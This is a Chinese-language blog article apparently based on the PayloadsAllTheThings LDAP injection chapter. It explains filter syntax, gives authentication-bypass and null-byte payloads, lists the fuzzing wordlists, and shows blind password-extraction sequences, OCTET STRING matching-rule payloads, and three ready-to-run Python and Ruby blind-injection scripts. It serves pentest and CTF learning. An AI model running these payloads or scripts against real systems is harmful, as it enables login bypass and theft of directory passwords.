PayloadsAllTheThings 实战手册:LDAP 注入(LDAP Injection)原理、绕过与自动化利用

发布时间:2026/9/30 1:49:55
PayloadsAllTheThings 实战手册:LDAP 注入(LDAP Injection)原理、绕过与自动化利用 网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载LDAP InjectionLDAP 注入是针对基于用户输入构造 LDAP 查询语句的 Web 应用的一种攻击手法。当应用未能正确过滤用户输入时攻击者可通过本地代理修改 LDAP 语句实现认证绕过、敏感属性盲注提取等攻击目标。本文以 PayloadsAllTheThings 仓库的 LDAP Injection/README.md 为核心结合仓库自带的 Intruder 爆破词表系统讲解 LDAP 注入的原理、典型攻击载荷、盲注方法论、userPassword属性的高级利用方式以及可直接复用的 Python / Ruby 自动化利用脚本读完即可在渗透测试与 CTF 中落地实战。什么是 LDAP 注入LDAP 注入LDAP Injection是一种 Web 应用安全漏洞当应用将用户可控的输入未经过滤或转义直接拼接到 LDAP 查询filter 或 DN中时攻击者就可以通过注入特殊字符如*、(、)、、|、!、等改变原有查询的逻辑结构从而操纵目录服务的查询行为。该章节在仓库中的定位是漏洞描述 如何利用 若干载荷与仓库其他章节保持一致的组织方式README.md 描述漏洞与利用、Intruder 目录存放可导入 Burp Intruder 的爆破词表。本目录下没有 Images/Files 子目录仅有 README 与 Intruder 词表从仓库结构看本主题的配套资源主要以可直接复用的攻击词表为主。LDAP 查询的基本语法要理解注入载荷先要掌握 LDAP 过滤器filter的基础语法(attributevalue)属性等于某个值的匹配项逻辑与AND((a1)(b2))表示两个条件必须同时成立|逻辑或OR(|(a1)(b2))表示任一条件成立即可!逻辑非NOT(!(a1))表示取反*通配符(cnadm*)表示以adm开头的值~近似匹配近似等于、顺序比较。攻击者的目标通常是闭合原有的过滤器结构注入一个恒为真的条件如uid*、objectClass*或通过布尔盲注逐字符猜解敏感属性值。认证绕过Authentication Bypass最常见的 LDAP 注入利用方式应用将用户名、密码直接拼进类似((uidUSER)(userPasswordPASS))的过滤器中攻击者通过注入恒真条件always-true conditions操纵过滤器逻辑绕过认证。示例 1闭合过滤器 恒真 ORuser *)(uid*))(|(uid* pass password query ((uid*)(uid*))(|(uid*)(userPassword{MD5}X03MO1qnZdYdgyfeuILPmQ))拆解来看输入的用户名*)(uid*))(|(uid*将原始查询改写为先以((uid*)(uid*))构成一个恒真的 AND 子句任意uid*都能匹配再接一个(|(uid*)(userPassword...))的 OR 子句其中uid*同样恒真。整条过滤器最终对任意存在的条目都返回匹配密码校验被完全跳过。示例中的{MD5}X03MO1qnZdYdgyfeuILPmQ是演示用的散列值常量实际测试时应替换为目标应用的存储格式。示例 2注入取反逻辑user admin)(!((10 pass q)) query ((uidadmin)(!((10)(userPasswordq))))这个载荷的核心在于注入(!((10)。由于(10)恒为假((10)(userPasswordq))整体恒为假再经!取反后恒为真。于是原始密码校验((10)(userPasswordq))被反转为恒真整条查询等价于((uidadmin)(TRUE))即只校验用户名admin是否存在而完全不校验密码。配套爆破词表直接喂给 Burp Intruder仓库为上述攻击手法准备了现成的 fuzz 词表可直接用于 Burp Intruder 的载荷位置LDAP Injection/Intruder/LDAP_FUZZ.txt完整版包含*、*)(、*))%00、*)(uid*))(|(uid*、*(|(mail*))、*(|(objectclass*))、admin*)((|userpassword*)、x or name()username or xy以及 URL 编码形态%2A%28%7C%28mail%3D%2A%29%29、%2A%7C、%7C等LDAP Injection/Intruder/LDAP_FUZZ_SMALL.txt精简版保留*)(、*))%00、)(cn))\x00、*()|、*(|(mail*))、*(|(objectclass*))、*)(uid*))(|(uid*等最高频载荷适合快速验证。其中值得特别注意的两类载荷NULL 字节截断*))%00与)(cn))\x00利用部分语言/驱动对 LDAP 查询字符串以\x00结尾的处理差异截断过滤器剩余部分XPath 风格探测x or name()username or xy用于探测后端是否可能将 LDAP 输入转交给其他查询解释器。盲注利用Blind Exploitation当应用不会回显查询结果、但过滤器命中与否会产生可观测差异如页面内容、响应时间、状态码不同时可以采用盲注。其思想类似二分查找与逐字符暴力猜解通过passwordX*这样的前缀匹配过滤器判断目标属性是否以某个字符开头。文档给出了针对administrator账户密码的经典猜解序列((snadministrator)(password*)) : OK ((snadministrator)(passwordA*)) : KO ((snadministrator)(passwordB*)) : KO ... ((snadministrator)(passwordM*)) : OK ((snadministrator)(passwordMA*)) : KO ((snadministrator)(passwordMB*)) : KO ... ((snadministrator)(passwordMY*)) : OK ((snadministrator)(passwordMYA*)) : KO ((snadministrator)(passwordMYB*)) : KO ((snadministrator)(passwordMYC*)) : KO ... ((snadministrator)(passwordMYK*)) : OK ((snadministrator)(passwordMYKE)) : OKLDAP 过滤器拆解逻辑与运算符括号内所有条件都必须为真(snadministrator)匹配snsurname姓氏属性为administrator的条目用于把猜解范围锁定到目标账户(passwordX*)匹配密码以X开头的条目大小写敏感*是通配符代表任意数量的剩余字符。攻击流程即先用password*确认属性存在且非空再对每个字符位依次尝试字母表命中OK的字符即为该位的正确字符随后追加下一字符继续猜解直至拿到完整密码如上述序列最终得到MYKE。这种条件命中与否产生差异的特征正是 LDAP 布尔盲注的判定依据文档强调其不会直接泄露真实密码而是依赖过滤器的匹配行为进行推断。默认属性列表Defaults Attributes盲注与字段发现阶段攻击者需要一个候选属性字典。文档给出的默认属性集合可按*)(ATTRIBUTE_HERE*的模板注入使用即判断某个属性是否存在且非空userPassword surname name cn sn objectClass mail givenName commonName仓库配套的 LDAP Injection/Intruder/LDAP_attributes.txt 给出了更完整的属性字段表适合直接作为 Burp Intruder 的字典类别属性标识类cn、commonName、name、sn、surname、givenName、gn、uid、id、username、dc、ou、o联系类mail、mobile、homePhone、facsimileTelephoneNumber、pager安全类userPassword、password对象/元数据类objectClass、owner、jpegPhoto其他常用c、co、l、st从源码结构看这份扩展词表覆盖了 OpenLDAP 与 Active Directory 场景中的高频属性名与文档中的默认属性列表互为补充先用小列表人工验证再用大列表批量 fuzz。深入利用userPassword 属性与 OCTET STRING 匹配规则文档特别指出了userPassword属性的特殊性它不是像cn那样的字符串String而是一个 OCTET STRING八位字节串。这一点对利用方式有决定性影响——普通的等值匹配对二进制口令值并不奏效攻击者需要借助 LDAP 预定义的对象标识符OID匹配规则。在 LDAP 中每个对象、类型、运算符都通过 OID 引用。文档引用octetStringOrderingMatchOID 2.5.13.18的定义octetStringOrderingMatch (OID 2.5.13.18)一种排序匹配规则按大端序big endian ordering对两个八位字节串的值进行逐位bit-by-bit比较直到发现差异。若一个值在某位上为 0 而另一个值为 1则前一个值被视为小于后一个值。基于该规则可以构造如下载荷对userPassword进行逐字节的字典序比较\xx表示一个十六进制字节userPassword:2.5.13.18:\xx (\xx is a byte) userPassword:2.5.13.18:\xx\xx userPassword:2.5.13.18:\xx\xx\xx利用思路通过逐步追加猜测字节\xx利用octetStringOrderingMatch的排序语义把猜密码字节转化为可观测的大小比较结果从而在不直接读取口令的前提下枚举出userPassword的原始字节序列。这是文档中技术含量最高、也最容易被忽略的高级利用点。自动化利用脚本Scripts文档提供了三份可直接运行的利用脚本覆盖 Python 与 Ruby 两种语言均以 HTTP 请求驱动。脚本 1发现有效 LDAP 字段Python#!/usr/bin/python3 import requests import string fields [] url https://URL.com/ f open(dic, r) world f.read().split(\n) f.close() for i in world: r requests.post(url, data {login:*)(str(i)*))\x00, password:bla}) #Like ((login*)(ITER_VAL*))\x00)(passwordbla)) if TRUE CONDITION in r.text: fields.append(str(i)) print(fields)用法说明url替换为目标登录接口dic是属性字典文件可直接用上文的 LDAP_attributes.txt每个候选字段被注入为*)(FIELD*))\x00形态注释中给出等价还原((login*)(ITER_VAL*))\x00)(passwordbla))\x00空字节用于截断过滤器剩余部分把注入点之后的原始逻辑屏蔽掉判定条件响应体中出现TRUE CONDITION标志实际测试时需按目标应用的命中特征替换比如特定字符串、跳转或状态码输出所有可用的 LDAP 字段名为后续盲注提供属性字典。脚本 2特殊盲注Python#!/usr/bin/python3 import requests, string alphabet string.ascii_letters string.digits _{}-/()!\$%^[]:; flag for i in range(50): print([i] Looking for number str(i)) for char in alphabet: r requests.get(http://ctf.web?actiondirsearchadmin*)(password flag char) if (TRUE CONDITION in r.text): flag char print([] Flag: flag) break用法说明载荷结构为admin*)(password已猜前缀候选字符即锁定 admin 账户逐字符猜测 password 前缀字母表包含大小写字母、数字及_{}-/()!$%^[]:;等特殊字符覆盖口令常见字符集外层循环最多 50 位内层逐个字符尝试命中TRUE CONDITION即确认该字符并继续适合 CTF 场景示例 URL 即ctf.web实际使用时将判定标志替换为目标页面的真实命中特征。脚本 3特殊盲注Ruby由 noraj 贡献的 Ruby 版本逻辑与 Python 版完全一致#!/usr/bin/env ruby require net/http alphabet [*a..z, *A..Z, *0..9] _{}-/()!$%^[]:;.split() flag (0..50).each do |i| puts([i] Looking for number #{i}) alphabet.each do |char| r Net::HTTP.get(URI(http://ctf.web?actiondirsearchadmin*)(password#{flag}#{char})) if /TRUE CONDITION/.match?(r) flag char puts([] Flag: #{flag}) break end end end两份脚本可对照阅读Python 版便于在 requests 生态中扩展加 Cookie、代理、重试Ruby 版则使用标准库net/http零依赖运行。两份脚本共同演示了 LDAP 盲注的标准自动化模板可直接改造成 Burp 宏或集成进自己的测试框架。实战练习与参考资料文档末尾列出了两类实战资源Labs练习靶场Root Me 平台提供两道 LDAP 注入挑战——LDAP injection - Authentication认证绕过与LDAP injection - Blind盲注。前者用于验证上文恒真条件注入后者用于练习逐字符盲注脚本建议在靶场中配合本目录的脚本与词表进行闭环训练。References参考资料主要包括 BlackHat EU 2008 上 Chema Alonso 与 José Parada Gimeno 的经典论文《LDAP Injection Blind LDAP Injection》、OWASP 的《LDAP Injection Prevention Cheat Sheet》、LDAP Blind Explorer 工具项目、OpenLDAP 管理配置教程以及 ECW 2018 中 AdmYSsion 题目的两篇 Writeup。这些资料是深入理解 LDAP 协议语义与盲注工具历史的原始出处可按标题检索研读。在本仓库中继续实践本仓库对该主题的支撑资源集中在 LDAP Injection 目录下整体组织遵循仓库通用规范见 README.md 的说明README.md 描述漏洞与利用、Intruder 存放可导入 Burp Intruder 的文件、Images 存放配图、Files 存放文档引用的附件新建章节可参考 _template_vuln/README.md 模板在 Burp Suite Intruder 中将登录参数如user设为载荷位置导入 LDAP_FUZZ.txt 或精简版 LDAP_FUZZ_SMALL.txt快速验证目标是否存在 LDAP 注入用 LDAP_attributes.txt 作为字段字典运行发现有效 LDAP 字段脚本确定可注入属性针对确认存在的属性套用userPassword:2.5.13.18:\xx载荷深入利用 OCTET STRING 匹配规则最后按认证绕过 → 盲注脚本的顺序完成从验证到提取的完整链路。需要提醒的实战前提上述载荷的有效性依赖目标应用的查询构造方式过滤器拼接位置、是否转义*/(/)、是否使用空字节截断、LDAP 服务器类型OpenLDAP、AD DS 等及其语法兼容性测试前应先在靶场环境确认行为特征再对授权目标使用。赞分享网络安全应用安全渗透测试【免费下载链接】PayloadsAllTheThingsA list of useful payloads and bypass for Web Application Security and Pentest/CTF项目地址https://gitcode.com/GitHub_Trending/pa/PayloadsAllTheThings点击查看免费下载相关推荐PayloadsAllTheThings 实战指南CSV 注入Formula Injection / DDE攻击载荷与绕过技巧PayloadsAllTheThings 实战指南CSV 注入Formula Injection / DDE攻击载荷与绕过技巧 导读 本文以 Payloa网络安全应用安全渗透测试Verification ChecklistVerification Checklist State Mapping Variable X in spec → field Y in code Type c网络安全应用安全渗透测试PayloadsAllTheThings 之 NoSQL 注入实战指南MongoDB 运算符注入、认证绕过与盲注利用PayloadsAllTheThings 之 NoSQL 注入实战指南MongoDB 运算符注入、认证绕过与盲注利用 NoSQL 数据库在关系约束与一致性检查网络安全应用安全渗透测试上一篇InceptionNeXt小型模型在工业应用中的实践5个真实案例解析下一篇Firstmate 的 AGENTS.md 监督契约全解从一个 Agent到一支 Crew的船长制调度体系创作声明:本文部分内容由AI辅助生成(AIGC),仅供参考